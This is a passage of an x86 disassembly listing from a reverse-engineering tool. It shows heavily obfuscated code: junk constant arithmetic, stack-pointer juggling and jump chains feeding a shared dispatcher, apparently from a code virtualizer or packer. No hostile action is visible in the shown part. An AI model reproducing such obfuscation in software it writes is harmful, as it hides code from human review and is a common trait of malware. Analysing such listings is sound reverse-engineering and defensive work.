		xchg	ebx, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		mov	[esp+44h+var_44], ebp
		push	eax
		push	[esp+48h+var_44]
		pop	eax
		jmp	loc_5949A7
; ---------------------------------------------------------------------------


loc_59ADFE:				; CODE XREF: sub_58A891+6F73j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		jmp	loc_591F3A
; ---------------------------------------------------------------------------


loc_59AE0D:				; CODE XREF: sub_58A891+89ECj
		push	esi
		mov	esi, 40BE3B80h
		add	esi, 2A9EE79Fh
		add	eax, 54657F79h
		add	eax, esi
		jmp	loc_590EEF
; ---------------------------------------------------------------------------


loc_59AE25:				; CODE XREF: sub_58A891+746Fj
		mov	esi, 10B41E47h
		not	esi
		shl	esi, 7
		push	eax
		jmp	loc_5972AB
; ---------------------------------------------------------------------------


loc_59AE35:				; CODE XREF: sub_58A891+110B5j
		or	esi, 47A10BFBh
		jle	loc_59B8BD
		shl	esi, 4
		add	esi, 0F79CA4EDh
		jmp	loc_59A796
; ---------------------------------------------------------------------------


loc_59AE4F:				; CODE XREF: sub_58A891+B672j
		add	edi, 4
		jmp	loc_58F35D
; ---------------------------------------------------------------------------


loc_59AE5A:				; CODE XREF: sub_58A891+F4FAj
		pop	edx
		jmp	loc_5992DC
; ---------------------------------------------------------------------------


loc_59AE60:				; CODE XREF: sub_58A891+E6D7j
		sub	ebx, edx
		add	ebx, 74061DC4h
		sub	ebx, 7C515647h
		pop	edx
		push	eax
		mov	eax, 6B2A3419h
		inc	eax
		jle	loc_59661A
		jmp	loc_59ABF1
; ---------------------------------------------------------------------------


loc_59AE81:				; CODE XREF: sub_58A891+C80Bj
		sub	edi, ecx
		jmp	loc_58F3BC
; ---------------------------------------------------------------------------


loc_59AE88:				; CODE XREF: sub_58A891+9055j
		push	1DEEh
		mov	[esp+10h+var_10], ecx
		jmp	loc_58FA75
; ---------------------------------------------------------------------------


loc_59AE95:				; CODE XREF: sub_58A891+BAB1j
		mov	[esp+3Ch+var_3C], edi
		mov	edi, 456C4379h
		add	edi, 4E7F4F44h
		shr	edi, 1
		jmp	loc_592C3F
; ---------------------------------------------------------------------------


loc_59AEAA:				; CODE XREF: sub_58A891+FF21j
		mov	[esp+20h+var_20], ecx
		mov	ecx, edi
		mov	eax, ecx
		pop	ecx
		mov	edi, [esp+1Ch+var_1C]
		jmp	loc_595EE1
; ---------------------------------------------------------------------------


loc_59AEBA:				; CODE XREF: sub_58A891+5B1Dj
		shl	ecx, 8
		jmp	loc_596DEF
; ---------------------------------------------------------------------------


loc_59AEC2:				; CODE XREF: sub_58A891+C2BBj
		sub	ebp, 418B063Fh
		mov	eax, ebp
		mov	ebp, [esp+24h+var_24]
		push	ebp
		jmp	loc_590B24
; ---------------------------------------------------------------------------


loc_59AED3:				; CODE XREF: sub_58A891+6FB5j
		add	esp, 4
		sub	eax, 4FCB5481h
		add	eax, 79BF78AFh
		add	eax, ecx
		sub	eax, 79BF78AFh
		jmp	loc_58E97D
; ---------------------------------------------------------------------------


loc_59AEEF:				; CODE XREF: sub_58A891+8772j
		pop	edi
		add	edi, 247F26D2h
		jbe	loc_58E6AB
		jmp	loc_597A35
; ---------------------------------------------------------------------------


loc_59AF01:				; CODE XREF: sub_58A891+1008Bj
		push	4305h
		mov	[esp+2Ch+var_2C], ebx
		push	ecx
		push	eax
		mov	eax, 0F4468AFh
		xor	eax, 1FF81CE8h
		not	eax
		sub	eax, 93DE1A27h
		mov	ecx, eax
		pop	eax
		inc	ecx
		sub	ecx, 13935FD7h
		xchg	edx, ecx
		jmp	loc_590B1D
; ---------------------------------------------------------------------------


loc_59AF2D:				; CODE XREF: sub_58A891+75AEj
		not	edi
		xchg	edi, [esp+44h+var_44]
		pop	ebx
		not	ebx
		sub	ebx, 3BEB2C79h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_593599
; ---------------------------------------------------------------------------


loc_59AF49:				; CODE XREF: sub_58A891+543Fj
		sub	ebx, 5EA42C3Bh
		push	ecx
		jmp	loc_591BEA
; ---------------------------------------------------------------------------


loc_59AF55:				; CODE XREF: sub_58A891+3C8Ej
		mov	esi, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_59388C
; ---------------------------------------------------------------------------


loc_59AF60:				; CODE XREF: sub_58A891+CC5Bj
		mov	dl, bl
		mov	ebx, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	bl, dl
		mov	dx, word ptr [esp+36h+var_38+2]
		add	esp, 2
		add	bl, 0D1h
		add	bl, 37h
		jmp	loc_594931
; ---------------------------------------------------------------------------


loc_59AF7F:				; CODE XREF: sub_58A891+80B1j
		mov	edi, ecx
		pop	ecx
		jmp	loc_591CCB
; ---------------------------------------------------------------------------


loc_59AF87:				; CODE XREF: sub_58A891+A9A7j
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AF8F:				; CODE XREF: sub_58A891+C6A0j
		sub	[esp+32h+var_34+2], 0F711579h
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_59AD9A
; ---------------------------------------------------------------------------


loc_59AF9F:				; CODE XREF: sub_58A891+A80Fj
		mov	[esp+18h+var_18], esp
		jmp	loc_59172F
; ---------------------------------------------------------------------------


loc_59AFA7:				; CODE XREF: sub_58A891+111FDj
		mov	bh, 0A1h
		neg	bh
		shr	bh, 1
		push	0
		jmp	loc_5943E1
; ---------------------------------------------------------------------------


loc_59AFB7:				; CODE XREF: sub_58A891+F434j
		xor	edx, 3CCB63C6h
		jmp	loc_5986E0
; ---------------------------------------------------------------------------


loc_59AFC2:				; CODE XREF: sub_58A891+A4C4j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AFC7:				; CODE XREF: sub_58A891+E94Fj
		mov	esi, [esp-0Ch+arg_4]
		add	esp, 4
		push	ebp
		jmp	loc_594927
; ---------------------------------------------------------------------------


loc_59AFD3:				; CODE XREF: sub_58A891+DFFDj
		add	eax, 5BB85C21h
		pop	esi
		xor	ebx, eax
		push	ebp
		mov	ebp, 33D229F7h
		sub	edx, ebp
		pop	ebp
		jmp	loc_58EF0A
; ---------------------------------------------------------------------------


loc_59AFE9:				; CODE XREF: sub_58A891+9B0Fj
		push	ebx
		push	[esp+40h+var_3C]
		jmp	loc_5936E6
; ---------------------------------------------------------------------------


loc_59AFF3:				; CODE XREF: sub_58A891+10CD1j
					; sub_58A891+10E24j
		mov	esi, [esp+44h+var_44]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		push	esp
		mov	esi, [esp+44h+var_44]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58EFF2
; ---------------------------------------------------------------------------


loc_59B013:				; CODE XREF: sub_58A891+7330j
		and	dl, 4Dh
		sub	dl, 0A6h
		jmp	loc_5946DE
; ---------------------------------------------------------------------------


loc_59B01E:				; CODE XREF: sub_58A891+44B1j
		xor	eax, 0B154C82h
		neg	eax
		dec	eax
		shr	eax, 7
		xor	eax, 14953DAh
		add	esi, eax
		push	[esp+10h+var_10]
		pop	eax
		jmp	loc_593492
; ---------------------------------------------------------------------------


loc_59B039:				; DATA XREF: sub_58A891+3ABBo
		push	[esp+8+var_8]
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	esp
		push	[esp+10h+var_10]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_597613
; ---------------------------------------------------------------------------


loc_59B05F:				; CODE XREF: sub_58A891+DA57j
		not	ebx
		add	ebx, 9C35956Fh
		mov	ecx, ebx
		jmp	loc_590A2C
; ---------------------------------------------------------------------------


loc_59B06E:				; CODE XREF: sub_58A891+D6FDj
		push	[esp+14h+var_10]
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		pop	[esp+14h+var_14]
		pop	esp
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_5964ED
; ---------------------------------------------------------------------------


loc_59B084:				; CODE XREF: sub_58A891+B827j
		add	esi, 4
		xchg	esi, [esp-0Ch+arg_4]
		pop	esp
		jmp	loc_5956DA
; ---------------------------------------------------------------------------


loc_59B093:				; CODE XREF: sub_58A891+A16Dj
					; sub_58A891+C402j
		mov	ebx, 76F541D4h
		add	ebx, 890ABE68h
		push	edx
		mov	edx, 24EF10D4h
		jmp	loc_598221
; ---------------------------------------------------------------------------


loc_59B0A9:				; CODE XREF: sub_58A891:loc_594767j
		jmp	loc_5953CF
; ---------------------------------------------------------------------------


loc_59B0AE:				; CODE XREF: sub_58A891+B783j
		mov	edi, esi
		pop	esi
		add	ebx, 4ABB26F3h
		push	edx
		mov	edx, 2B23687Bh
		not	edx
		dec	edx
		xor	edx, 2EA91C35h
		xor	edx, 110743FEh
		xor	edx, 0F38BE8BEh
		sub	ebx, edx
		pop	edx
		sub	ebx, 60E939B9h
		add	ebx, edi
		jmp	loc_5931E5
; ---------------------------------------------------------------------------


loc_59B0E2:				; CODE XREF: sub_58A891+103C3j
		inc	edi
		neg	edi
		jmp	loc_597C95
; ---------------------------------------------------------------------------


loc_59B0EA:				; CODE XREF: sub_58A891+102D8j
		add	ebp, ebx
		push	edx
		mov	edx, 15E0043Eh
		sub	ebp, edx
		jmp	loc_598EAB
; ---------------------------------------------------------------------------


loc_59B0F9:				; CODE XREF: sub_58A891+A8B4j
		pop	ecx
		push	small 7967h
		mov	word ptr [esp+0Eh+var_10+2], cx
		jmp	loc_599AC7
; ---------------------------------------------------------------------------


loc_59B107:				; CODE XREF: sub_58A891+9A47j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B10C:				; CODE XREF: sub_58A891+112D0j
		mov	ecx, [esp+6+var_8+2]
		jmp	loc_597F57
; ---------------------------------------------------------------------------


loc_59B114:				; CODE XREF: sub_58A891+3D25j
		add	[esp+34h+var_34], eax
		add	[esp+34h+var_34], 1C08100Dh
		push	28CEh
		jmp	loc_59665E
; ---------------------------------------------------------------------------


loc_59B128:				; CODE XREF: sub_58A891+D508j
		push	esi
		mov	esi, 50562326h
		xor	esi, 65646852h
		jmp	loc_599C4D
; ---------------------------------------------------------------------------


loc_59B139:				; CODE XREF: sub_58A891+E2D2j
		add	eax, ecx
		jmp	loc_598009
; ---------------------------------------------------------------------------


loc_59B140:				; DATA XREF: sub_58A891+39C7o
		neg	word ptr [esp+8+var_8]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B14A:				; CODE XREF: sub_58A891+D896j
		mov	edi, 6114025Bh
		mov	edx, edi
		pop	edi
		jmp	loc_590308
; ---------------------------------------------------------------------------


loc_59B157:				; CODE XREF: sub_58A891+5B7Fj
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 71680A16h
		sub	edi, 71680A12h
		jmp	loc_5933E6
; ---------------------------------------------------------------------------


loc_59B179:				; CODE XREF: sub_58A891+9B4Bj
		push	edx
		mov	edx, esp
		jmp	loc_58EB4E
; ---------------------------------------------------------------------------


loc_59B181:				; CODE XREF: sub_58A891+BBABj
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_599B8F
; ---------------------------------------------------------------------------


loc_59B18B:				; CODE XREF: sub_58A891+8B0Bj
		sub	ebx, 5C44493Ah
		mov	edx, ebx
		pop	ebx
		sub	ebx, 44B33FD0h
		add	ebx, edx
		add	ebx, 44B33FD0h
		pop	edx
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		jmp	loc_5978FF
; ---------------------------------------------------------------------------


loc_59B1B2:				; CODE XREF: sub_58A891+53E9j
					; sub_58A891+6E22j ...
		mov	esi, 4
		add	edi, esi
		jmp	loc_58E865
; ---------------------------------------------------------------------------


loc_59B1BE:				; CODE XREF: sub_58A891+9767j
		pop	ecx
		push	small 5242h
		mov	word ptr [esp+42h+var_44+2], bx
		sub	esp, 4
		mov	[esp+46h+var_48+2], eax
		push	edx
		mov	dh, 0ACh
		mov	al, 0EBh
		sub	al, 2Dh
		sub	al, dh
		jmp	loc_58EFD3
; ---------------------------------------------------------------------------


loc_59B1DB:				; CODE XREF: sub_58A891+951Dj
		add	esi, 0F4CD10F9h
		sub	ebx, esi
		mov	esi, [esp+2Ch+var_2C]
		jmp	loc_59AB17
; ---------------------------------------------------------------------------


loc_59B1EB:				; CODE XREF: sub_58A891+6742j
		add	eax, ecx
		pop	ecx
		push	esi
		jmp	loc_59A058
; ---------------------------------------------------------------------------


loc_59B1F4:				; CODE XREF: sub_58A891+B25Ej
		jmp	loc_590E10
; ---------------------------------------------------------------------------


loc_59B1F9:				; CODE XREF: sub_58A891+E442j
		xor	eax, esi
		mov	esi, [esp+0]
		add	esp, 4
		push	7673h
		mov	[esp+0], edi
		jmp	loc_592730
; ---------------------------------------------------------------------------


loc_59B20E:				; CODE XREF: sub_58A891+8E8Cj
		mov	cx, word ptr [esp+4+var_4]
		push	eax
		sub	esp, 4
		push	esp
		pop	[esp+10h+var_10]
		push	ebp
		mov	ebp, 4
		sub	[esp+10h+var_C], 6D4B2442h
		add	[esp+10h+var_C], ebp
		add	[esp+10h+var_C], 6D4B2442h
		pop	ebp
		pop	eax
		push	esi
		push	edx
		mov	edx, 70DE616Ch
		jmp	loc_5937D6
; ---------------------------------------------------------------------------


loc_59B245:				; CODE XREF: sub_58A891+C219j
		sub	[esp-0Ch+arg_A+2], edx
		pop	edx
		sub	[esp-10h+arg_A+2], esi
		add	[esp-10h+arg_A+2], 5D38001Fh
		sub	[esp-10h+arg_A+2], 2D223FF0h
		jmp	loc_596D37
; ---------------------------------------------------------------------------


loc_59B263:				; CODE XREF: sub_58A891+AE1Bj
		mov	ecx, 0AC471E2h
		jmp	loc_591C45
; ---------------------------------------------------------------------------


loc_59B26D:				; CODE XREF: sub_58A891+6C7Dj
		mov	esp, [esp+3Ch+var_3C]
		sar	[esp+3Ch+var_3C], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B279:				; CODE XREF: sub_58A891+ED29j
		xchg	esi, [esp+18h+var_18]
		jmp	loc_58E86C
; ---------------------------------------------------------------------------


loc_59B281:				; CODE XREF: sub_58A891+ED1Aj
		mov	word ptr [esp+38h+var_38], dx
		mov	dl, 0B7h
		jmp	loc_59BADD
; ---------------------------------------------------------------------------


loc_59B28C:				; CODE XREF: sub_58A891+6EE3j
		sub	eax, 26703434h
		pop	edx
		jmp	loc_59798C
; ---------------------------------------------------------------------------


loc_59B297:				; CODE XREF: sub_58A891+1106Fj
		and	ecx, edi
		mov	edi, [esp+0]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_599A51
; ---------------------------------------------------------------------------


loc_59B2B1:				; CODE XREF: sub_58A891+B3E5j
		sub	ah, 0EBh
		jmp	loc_59B7D6
; ---------------------------------------------------------------------------


loc_59B2B9:				; CODE XREF: sub_58A891+C299j
		mov	[esp-8+arg_0], ecx
		mov	ch, dl
		push	edx
		mov	dl, ch
		jmp	loc_598E64
; ---------------------------------------------------------------------------


loc_59B2C6:				; CODE XREF: sub_58A891+E912j
		pop	esi
		add	ecx, eax
		sub	ecx, 14E37C9Ch
		pop	eax
		push	ebx
		jmp	loc_591396
; ---------------------------------------------------------------------------


loc_59B2D6:				; CODE XREF: sub_58A891+95D4j
		mov	word ptr [esp+40h+var_40], ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B2DF:				; CODE XREF: sub_58A891+AAF9j
		push	eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 2CA60738h
		not	edi
		and	edi, 7A70F66h
		push	edi
		xchg	ebx, [esp+58h+var_58]
		xchg	ecx, ebx
		jmp	loc_592E3B
; ---------------------------------------------------------------------------


loc_59B2FB:				; CODE XREF: sub_58A891+568Ej
					; sub_58A891+FAD8j ...
		mov	edi, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		xor	eax, edi
		push	[esp+10h+var_10]
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_590E88
; ---------------------------------------------------------------------------


loc_59B313:				; CODE XREF: sub_58A891+8BF7j
		pop	ecx
		add	edx, 6B074EA3h
		add	edx, edi
		sub	edx, 6B074EA3h
		pop	edi
		push	edx
		push	[esp+10h+var_C]
		pop	edx
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		inc	[esp+0Ch+var_C]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B338:				; CODE XREF: sub_58A891+F745j
		pop	ebx
		sub	eax, ebx
		add	eax, 49C71A8h
		push	54C6h
		mov	[esp+14h+var_14], ebp
		mov	ebp, 14DE4DA7h
		inc	ebp
		neg	ebp
		jz	loc_5968A2
		push	esi
		push	14B67210h
		pop	esi
		shr	esi, 7
		jmp	loc_595BB7
; ---------------------------------------------------------------------------


loc_59B365:				; CODE XREF: sub_58A891+DA48j
		pop	edi
		add	[esp+48h+var_44], ebx
		mov	ebx, [esp+48h+var_48]
		push	eax
		jmp	loc_597BEF
; ---------------------------------------------------------------------------


loc_59B373:				; CODE XREF: sub_58A891+3D2Fj
		add	esp, 4
		add	eax, esi
		sub	eax, 5FE86662h
		pop	esi
		sub	eax, 68416D3Eh
		jmp	loc_593D45
; ---------------------------------------------------------------------------


loc_59B388:				; CODE XREF: sub_58A891+6E08j
					; sub_58A891+F510j
		jmp	loc_58FDA2
; ---------------------------------------------------------------------------


loc_59B38D:				; CODE XREF: sub_58A891+B336j
		push	ecx
		mov	ecx, 6C007858h
		xor	ecx, 43D76ADEh
		jmp	loc_58FE42
; ---------------------------------------------------------------------------


loc_59B39E:				; CODE XREF: sub_58A891+11205j
		add	edi, 5BB15580h
		add	edi, ebx
		sub	edi, 5BB15580h
		mov	ebx, [esp+54h+var_54]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		mov	[esp+50h+var_50], ebx
		mov	eax, [esp+50h+var_50]
		add	esp, 4
		push	ebx
		mov	ebx, 22911F23h
		push	ebx
		not	[esp+54h+var_54]
		jmp	loc_594AC9
; ---------------------------------------------------------------------------


loc_59B3D6:				; CODE XREF: sub_58A891+5F40j
					; sub_58A891+F832j
		mov	eax, edi
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		shr	eax, 3
		add	eax, 435B64D9h
		xor	eax, 282C1808h
		sub	eax, 144A412Fh
		or	eax, 7E9A26E1h
		add	eax, 0D3CB6178h
		sub	ecx, eax
		pop	eax
		push	edx
		push	54CFh
		jmp	loc_592836
; ---------------------------------------------------------------------------


loc_59B40B:				; CODE XREF: sub_58A891+103E1j
		push	0F5Dh
		mov	[esp+4Ch+var_4C], edx
		mov	edx, 2AC20231h
		inc	edx
		shr	edx, 8
		xor	edx, 1BB96124h
		jmp	loc_58F2E7
; ---------------------------------------------------------------------------


loc_59B427:				; CODE XREF: sub_58A891+5498j
					; sub_58A891+E0E2j
		mov	ebp, 598513E0h
		add	edx, ebp
		pop	ebp
		pop	esi
		sub	esp, 4
		jmp	loc_596C6D
; ---------------------------------------------------------------------------


loc_59B438:				; CODE XREF: sub_58A891+D384j
		pop	ebp
		push	eax
		mov	eax, 62D059D1h
		shr	eax, 8
		xor	eax, 62D05Dh
		add	ebp, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], esi
		mov	esi, 403936DAh
		shr	esi, 5
		jp	loc_594BEF
		push	ebp
		mov	ebp, 201C97Eh
		sub	esi, ebp
		push	[esp+10h+var_10]
		pop	ebp
		add	esp, 4
		mov	edx, esi
		pop	esi
		add	edx, edi
		mov	ecx, [edx]
		jmp	loc_595AA1
; ---------------------------------------------------------------------------


loc_59B485:				; CODE XREF: sub_58A891+549Dj
					; sub_58A891+9638j
		neg	ecx
		add	ecx, 137CF4h
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp+3Ch+var_3C]
		pop	esp
		add	esp, 4
		push	71FDh
		mov	[esp+38h+var_38], ebp
		mov	ebp, 64293148h
		add	ebp, 0FFFFFFFFh
		dec	ebp
		sub	ebp, 64292146h
		and	eax, ebp
		jmp	loc_58F28E
; ---------------------------------------------------------------------------


loc_59B4BB:				; CODE XREF: sub_58A891+4A97j
		xor	[esp+30h+var_30], ecx
		jmp	loc_591E9C
; ---------------------------------------------------------------------------


loc_59B4C3:				; CODE XREF: sub_58A891+4EFEj
		and	ebx, ebp
		pop	ebp
		xor	ebx, 12025h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_5975B6
; ---------------------------------------------------------------------------


loc_59B4DA:				; DATA XREF: sub_58A891+3B47o
		mov	cx, word ptr [esp+8+var_8]
		push	esi
		push	409Dh
		mov	[esp+10h+var_10], esp
		push	edi
		mov	edi, 4
		add	[esp+14h+var_10], edi
		pop	edi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_59837E
; ---------------------------------------------------------------------------


loc_59B4FD:				; CODE XREF: sub_58A891+CADFj
		mov	[esp+10h+var_10], eax
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		push	ecx
		pop	ebx
		mov	eax, ebx
		pop	ebx
		jmp	loc_597788
; ---------------------------------------------------------------------------


loc_59B514:				; CODE XREF: sub_58A891+C0A7j
		mov	esi, edx
		pop	edx
		jmp	loc_58E51D
; ---------------------------------------------------------------------------


loc_59B51C:				; CODE XREF: sub_58A891+4373j
		push	31C0h
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+18h+var_18]
		pop	esp
		sub	esp, 4
		jmp	loc_58E6F0
; ---------------------------------------------------------------------------


loc_59B538:				; CODE XREF: sub_58A891+9FBFj
		pop	eax
		jmp	loc_591BE3
; ---------------------------------------------------------------------------


loc_59B53E:				; CODE XREF: sub_58A891+E417j
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		mov	word ptr [esp+8+var_8],	si
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		push	eax
		mov	ax, 21A8h
		shl	ax, 2
		jmp	loc_5961A7
; ---------------------------------------------------------------------------


loc_59B55D:				; CODE XREF: sub_58A891+E4C9j
		add	eax, 4C1B1145h
		jb	loc_59AFF3
		push	edx
		mov	edx, 4EB7473Dh
		sub	edx, 0C74EB1C6h
		add	eax, edx
		mov	edx, [esp+12h+var_14+2]
		add	esp, 4
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		mov	[ecx], eax
		pop	ecx
		mov	eax, [esp+0Eh+var_10+2]
		push	eax
		jmp	loc_59AC77
; ---------------------------------------------------------------------------


loc_59B593:				; CODE XREF: sub_58A891+4681j
		pop	ebp
		sub	edx, 0E834C84h
		jmp	loc_58F464
; ---------------------------------------------------------------------------


loc_59B59F:				; CODE XREF: sub_58A891+5F48j
		push	ebx
		mov	ebx, 0EFD2AE5h
		add	ebx, 3C915278h
		xor	ebx, 5E1A4DDBh
		jmp	loc_591E8B
; ---------------------------------------------------------------------------


loc_59B5B6:				; CODE XREF: sub_58A891+EF3Fj
		add	ecx, 21466CC4h
		push	ecx
		xor	[esp+14h+var_14], 7DD442C4h
		pop	ebp
		push	ecx
		mov	ecx, 7DD442C4h
		xor	ebp, ecx
		pop	ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	esi, 1E804435h
		add	esi, ebp
		sub	esi, 1E804435h
		pop	ebp
		jmp	loc_5934B8
; ---------------------------------------------------------------------------


loc_59B5E8:				; CODE XREF: sub_58A891:loc_591931j
		xor	eax, 0BAC0D126h
		mov	ecx, eax
		pop	eax
		push	123Bh
		mov	[esp+0], ebx
		mov	ebx, 40E33CFEh
		jmp	loc_593525
; ---------------------------------------------------------------------------


loc_59B602:				; CODE XREF: sub_58A891:loc_58F149j
					; sub_58A891+68C5j
		mov	[esp-0Ch+arg_4], edx
		jmp	loc_597549
; ---------------------------------------------------------------------------


loc_59B60A:				; CODE XREF: sub_58A891+8D03j
		mov	esi, 46A975F5h
		sub	esi, 6BC52A01h
		and	esi, 5F75581h
		jge	loc_590ADE
		inc	esi
		jnz	loc_595CC6
		jmp	loc_598883
; ---------------------------------------------------------------------------
		mov	ebp, ebx


loc_59B62F:				; CODE XREF: sub_58A891+6001j
		pop	edx
		push	22DCh
		jmp	loc_59B98F
; ---------------------------------------------------------------------------


loc_59B63A:				; CODE XREF: sub_58A891+8103j
		mov	eax, esp
		push	6E9h
		mov	[esp+10h+var_10], ecx
		mov	ecx, 79E3785Ch
		inc	ecx
		inc	ecx
		jmp	loc_59819D
; ---------------------------------------------------------------------------


loc_59B650:				; CODE XREF: sub_58A891+DC4Cj
		add	esi, 4
		push	ecx
		push	3147h
		mov	[esp+14h+var_14], ebp
		mov	ebp, 222A1162h
		mov	ecx, 176F475Dh
		xor	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 3545563Dh
		sub	ecx, esi
		pop	esi
		add	esi, 6F7229DBh
		jmp	loc_599F62
; ---------------------------------------------------------------------------


loc_59B680:				; CODE XREF: sub_58A891+A4FFj
		shr	ebx, 3
		dec	ebx
		jle	loc_592FA9
		inc	ebx
		push	esi
		mov	esi, 3467938h
		add	ebx, esi
		pop	esi
		add	ebx, 1
		or	ebx, 27D87335h
		dec	ebx
		push	edi
		mov	edi, 8754B838h
		sub	ebx, edi
		pop	edi
		mov	edi, ebx
		pop	ebx
		xor	ecx, edi
		pop	edi
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		push	[esp+44h+var_44]
		jmp	loc_59AFF3
; ---------------------------------------------------------------------------


loc_59B6BA:				; CODE XREF: sub_58A891+9F50j
		push	ax
		jmp	loc_599A16
; ---------------------------------------------------------------------------


loc_59B6C1:				; CODE XREF: sub_58A891+41B1j
		mov	eax, ebx
		pop	ebx
		jmp	loc_591707
; ---------------------------------------------------------------------------


loc_59B6C9:				; DATA XREF: sub_58A891+39D3o
		mov	cx, word ptr [esp+8+var_8]
		push	ebx
		push	esp
		mov	ebx, [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		mov	edx, esp
		jmp	loc_59562C
; ---------------------------------------------------------------------------


loc_59B6E2:				; CODE XREF: sub_58A891+E357j
		add	ecx, esi
		jmp	loc_5900A7
; ---------------------------------------------------------------------------


loc_59B6E9:				; CODE XREF: sub_58A891+9ADCj
		sub	eax, 7FB13E0Ah
		not	eax
		inc	eax
		neg	eax
		sub	eax, 7F0DCF0Eh
		sub	edi, eax
		pop	eax
		add	edx, 231520CEh
		add	edx, edi
		sub	edx, 231520CEh
		jmp	loc_599AF3
; ---------------------------------------------------------------------------


loc_59B70E:				; CODE XREF: sub_58A891+5971j
		pop	ecx


loc_59B70F:				; CODE XREF: sub_58A891+89FCj
		sub	esp, 4
		mov	[esp+40h+var_40], edi
		push	eax
		jmp	loc_591148
; ---------------------------------------------------------------------------


loc_59B71E:				; CODE XREF: sub_58A891+F1A5j
		mov	bx, bp
		pop	ebp
		push	dx
		mov	dx, 3F47h
		jmp	loc_59412A
; ---------------------------------------------------------------------------


loc_59B72D:				; CODE XREF: sub_58A891+3FE1j
		push	esp
		pop	eax
		jmp	loc_5999AC
; ---------------------------------------------------------------------------


loc_59B734:				; CODE XREF: sub_58A891+6FC0j
		mov	[esp+14h+var_14], edi
		push	edx
		mov	edx, 47EF4B22h
		mov	edi, 36BD1162h
		add	edi, edx
		pop	edx
		jmp	loc_597BFE
; ---------------------------------------------------------------------------


loc_59B74A:				; CODE XREF: sub_58A891+B0DEj
		or	bh, 5Ch
		and	bh, 0A8h
		add	bh, 0EDh
		add	al, bh
		mov	ebx, [esp+48h+var_48]
		add	esp, 4
		pop	cx
		jmp	loc_59B8AE
; ---------------------------------------------------------------------------


loc_59B765:				; CODE XREF: sub_58A891+9787j
		add	ebx, 0A4BFE63Ch
		jmp	loc_596C90
; ---------------------------------------------------------------------------


loc_59B770:				; CODE XREF: sub_58A891+4DFCj
		pop	ebp
		add	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		add	ebp, 1EE8070Dh
		sub	ebp, eax
		sub	ebp, 1EE8070Dh
		pop	eax
		sub	esp, 4
		mov	[esp+44h+var_44], ebp
		push	[esp+44h+var_40]
		jmp	loc_597CDB
; ---------------------------------------------------------------------------


loc_59B79B:				; CODE XREF: sub_58A891+E89Aj
		pop	esi
		push	small 0A0Eh
		jmp	loc_592178
; ---------------------------------------------------------------------------


loc_59B7A5:				; CODE XREF: sub_58A891+6877j
		neg	edi
		add	edi, 45347FC8h
		add	edx, edi
		mov	edi, [esp+44h+var_44]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, 0D9346A0h
		jmp	loc_5962D3
; ---------------------------------------------------------------------------


loc_59B7CC:				; CODE XREF: sub_58A891+CAD6j
		sub	bl, 71h
		mov	ch, bl
		jmp	loc_591A53
; ---------------------------------------------------------------------------


loc_59B7D6:				; CODE XREF: sub_58A891+742Fj
					; sub_58A891+10A23j
		and	eax, ebp
		jmp	loc_593B42
; ---------------------------------------------------------------------------


loc_59B7DD:				; CODE XREF: sub_58A891+11164j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B7E2:				; CODE XREF: sub_58A891+4138j
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	eax
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, 14E33830h
		jmp	loc_58FEE2
; ---------------------------------------------------------------------------


